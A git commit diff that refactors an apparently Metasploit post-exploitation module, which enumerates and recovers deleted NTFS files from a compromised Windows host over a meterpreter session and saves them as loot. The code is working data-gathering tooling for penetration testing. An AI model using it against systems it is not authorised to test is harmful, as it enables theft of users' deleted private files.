Merge pull request #1 from jvazquez-r7/recoveryfiles_cleanup

Clean recovery_files
unstable
Borja Merino 2013-05-01 01:13:16 -07:00
commit d360d3607e
1 changed files with 57 additions and 51 deletions

View File

@ -11,20 +11,27 @@ class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Recovery Files',
'Description' => %q{
This module list and try to recover deleted files from NTFS file systems.},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Borja Merino <bmerinofe[at]gmail.com>'],
'References' => [
'Name' => 'Windows Gather Deleted Files Enumeration and Recovering',
'Description' => %q{
This module list and try to recover deleted files from NTFS file systems. Use
the FILES option to guide recovery. Let it empty to enumerate deleted files in the
DRIVE. Set FILES to an extension (Ex. "pdf") to recover deleted files with that
extension. Or set FILES to a comma separated list of IDs (from enumeration) to
recover those files. The user must have into account file enumeration and recovery
could take a long time, use the TIMEOUT option to abort enumeration or recovery by
extension after that time (in seconds).
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Borja Merino <bmerinofe[at]gmail.com>'],
'References' => [
[ 'URL', 'http://www.youtube.com/watch?v=9yzCf360ujY&hd=1' ]
]
))
register_options(
[
OptString.new('FILES',[false,'ID or extensions of the files to recover in a comma separated way.',""]),
OptString.new('FILES',[false,'ID or extensions of the files to recover in a comma separated way. Let empty to enumerate deleted files.',""]),
OptString.new('DRIVE',[true,'Drive you want to recover files from.',"C:"]),
OptInt.new('TIMEOUT', [true,'Search timeout. If 0 the module will go through the entire $MFT.', 3600])
], self.class)
@ -51,7 +58,7 @@ class Metasploit3 < Msf::Post
return
end
print_status("Drive: #{drive} OS: #{winver}")
print_status("System Info - OS: #{winver}, Drive: #{drive}")
type = datastore['FILES']
files = type.split(',')
# To extract files from its IDs
@ -68,14 +75,14 @@ class Metasploit3 < Msf::Post
handle = get_mft_info(drive)
if handle != nil
data_runs = mft_data_runs(handle)
print_status("It seems that MFT is fragmented (#{data_runs.size-1} data runs)") if (data_runs.count > 2)
vprint_status("It seems that MFT is fragmented (#{data_runs.size-1} data runs)") if (data_runs.count > 2)
to = (datastore['TIMEOUT'].zero?) ? nil : datastore['TIMEOUT']
begin
::Timeout.timeout(to) do
deleted_files(data_runs[1..-1], handle,files)
end
rescue ::Timeout::Error
print_error("Server timed out after #{to} seconds. Skipping...")
print_error("Timed out after #{to} seconds. Skipping...")
end
end
end
@ -98,8 +105,8 @@ class Metasploit3 < Msf::Post
rf = client.railgun.kernel32.ReadFile(handle,1024,1024,4,nil)
attributes = rf['lpBuffer'][56..-1]
name = get_name(attributes)
print_status("File to download: #{name}}")
print_status("Getting Data Runs ...")
print_status("File to download: #{name}")
vprint_status("Getting Data Runs ...")
data = get_data_runs(attributes)
if data == nil or name == nil
print_error("There were problems to recover the file: #{name}")
@ -110,32 +117,31 @@ class Metasploit3 < Msf::Post
if data[0] == 0
print_status ("The file is resident. Saving #{name} ... ")
path = store_loot("resident.file", "application/octet-stream", session, data[1], name.downcase, nil)
print_good("File saved: #{name.downcase}")
print_good("File saved on #{path}")
# If file no resident
else
path = store_loot("nonresident.file", "application/octet-stream", session, nil, name.downcase, nil)
# Due to the size of the non-resident files we have to store small chunks of data as we go through each of the data runs
# that make up the file (save_file function). That's way we use store_loot and File.Open in append mode.
file = File.open(path, "ab")
# that make up the file (save_file function).
size = get_size(rf['lpBuffer'][56..-1])
print_status ("The file is not resident. Saving #{name} ... (#{size} bytes)")
base = 0
# Go through each of the data runs to save the file
file_data = ""
1.upto(data.count-1) { |i|
datarun = get_datarun_location(data[i])
base = base+datarun[0]
size = save_file([base,datarun[1]],size,file,handle)
size = save_file([base,datarun[1]],size,file_data,handle)
}
file.close
print_good("File saved: #{name.downcase}")
#file.close
path = store_loot("nonresident.file", "application/octet-stream", session, file_data, name.downcase, nil)
print_good("File saved on #{path}")
end
}
end
# Save the no resident file to disk
def save_file(datarun,size,file,handle)
def save_file(datarun,size,file_data,handle)
ra = file_system_features(handle)
bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0]
distance = get_high_low_values(datarun[0]*bytes_per_cluster)
@ -144,19 +150,19 @@ class Metasploit3 < Msf::Post
buffer_size = 8
division = datarun[1]/buffer_size
rest = datarun[1]%buffer_size
print_status("Number of chunks: #{division} Rest: #{rest} clusters Chunk size: #{buffer_size} clusters ")
vprint_status("Number of chunks: #{division} Rest: #{rest} clusters Chunk size: #{buffer_size} clusters ")
if (division > 0)
1.upto(division) { |i|
if (size>bytes_per_cluster*buffer_size)
rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil)
file.write(rf['lpBuffer'])
file_data << rf['lpBuffer']
size = size - bytes_per_cluster * buffer_size
print_status("Save 1 chunk of #{buffer_size*bytes_per_cluster} bytes, there are #{size} left")
vprint_status("Save 1 chunk of #{buffer_size*bytes_per_cluster} bytes, there are #{size} left")
# It's the last datarun
else
rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*buffer_size,bytes_per_cluster*buffer_size,4,nil)
file.write(rf['lpBuffer'][0..size-1])
print_status("Save 1 chunk of #{size} bytes")
file_data << rf['lpBuffer'][0..size-1]
vprint_status("Save 1 chunk of #{size} bytes")
end
}
end
@ -166,13 +172,13 @@ class Metasploit3 < Msf::Post
if (size<rest*bytes_per_cluster)
rf = client.railgun.kernel32.ReadFile(handle,rest*bytes_per_cluster,rest*bytes_per_cluster,4,nil)
# Don't save the slack space
file.write(rf['lpBuffer'][0..size-1])
print_status("(Last datarun) Save 1 chunk of #{size}")
file_data << rf['lpBuffer'][0..size-1]
vprint_status("(Last datarun) Save 1 chunk of #{size}")
else
rf = client.railgun.kernel32.ReadFile(handle,bytes_per_cluster*rest,bytes_per_cluster*rest,4,nil)
file.write(rf['lpBuffer'])
file_data << rf['lpBuffer']
size = size - bytes_per_cluster * rest
print_status("(No last datarun) Save 1 chunk of #{rest*bytes_per_cluster}, there are #{size} left")
vprint_status("(No last datarun) Save 1 chunk of #{rest*bytes_per_cluster}, there are #{size} left")
end
end
return size
@ -212,18 +218,18 @@ class Metasploit3 < Msf::Post
# If FILE header and deleted file (\x00\x00)
rf = client.railgun.kernel32.ReadFile(handle,1024,1024,4,nil)
if (rf['lpBuffer'][0,4]=="\x46\x49\x4c\x45") and (rf['lpBuffer'][22,2] == "\x00\x00")
name = get_name(rf['lpBuffer'][56..-1])
if name!= nil
print_status("Name: #{name} ID: #{logc}")
# If we want to save it according to the file extensions
if files != "" and files.include? File.extname(name.capitalize)[1..-1]
print_good("Hidden file found!")
recover_file([logc.to_s],handle)
dist=get_high_low_values(logc+1024)
# We need to restore the pointer to the current MFT entry
client.railgun.kernel32.SetFilePointer(handle,dist[0],dist[1],0)
end
end
name = get_name(rf['lpBuffer'][56..-1])
if name!= nil
print_status("Name: #{name} ID: #{logc}")
# If we want to save it according to the file extensions
if files != "" and files.include? File.extname(name.capitalize)[1..-1]
print_good("Hidden file found!")
recover_file([logc.to_s],handle)
dist=get_high_low_values(logc+1024)
# We need to restore the pointer to the current MFT entry
client.railgun.kernel32.SetFilePointer(handle,dist[0],dist[1],0)
end
end
# MFT entry with no FILE '\x46\x49\x4c\x45' header or its not a deleted file (dir, file, deleted dir)
else
logc = logc + 1024
@ -246,7 +252,7 @@ class Metasploit3 < Msf::Post
0.upto(data_runs.size - 1) { |i|
datar_info = get_datarun_location(data_runs[i])
base = base+datar_info[0]
print_status("MFT data run #{i+1} is at byte #{base*bytes_per_cluster}. It has a total of #{datar_info[1]} clusters")
vprint_status("MFT data run #{i+1} is at byte #{base*bytes_per_cluster}. It has a total of #{datar_info[1]} clusters")
# Add to the beginning
real_loc.unshift([base*bytes_per_cluster,(bytes_per_cluster*datar_info[1])/1024])
}
@ -287,12 +293,12 @@ class Metasploit3 < Msf::Post
bytes_per_cluster = ra['lpOutBuffer'][44,4].unpack("V*")[0]
mft_logical_offset = ra['lpOutBuffer'][64,8].unpack("V*")[0]
offset_mft_bytes = mft_logical_offset * bytes_per_cluster
print_status("Logical cluster : #{ra['lpOutBuffer'][64,8].unpack('h*')[0].reverse}")
print_status("NTFS Volumen Serial Number: #{ra['lpOutBuffer'][0,8].unpack('h*')[0].reverse}")
print_status("Bytes per Sector: #{ra['lpOutBuffer'][40,4].unpack('V*')[0]}")
print_status("Bytes per Cluster: #{bytes_per_cluster}")
print_status("Length of the MFT (bytes): #{ra['lpOutBuffer'][56,8].unpack('Q*')[0]}")
print_status("Logical cluster where MTF starts #{mft_logical_offset}")
vprint_status("Logical cluster : #{ra['lpOutBuffer'][64,8].unpack('h*')[0].reverse}")
vprint_status("NTFS Volumen Serial Number: #{ra['lpOutBuffer'][0,8].unpack('h*')[0].reverse}")
vprint_status("Bytes per Sector: #{ra['lpOutBuffer'][40,4].unpack('V*')[0]}")
vprint_status("Bytes per Cluster: #{bytes_per_cluster}")
vprint_status("Length of the MFT (bytes): #{ra['lpOutBuffer'][56,8].unpack('Q*')[0]}")
vprint_status("Logical cluster where MTF starts #{mft_logical_offset}")
# We set the pointer to the begining of the MFT
client.railgun.kernel32.SetFilePointer(r['return'],offset_mft_bytes,0,0)
return r['return']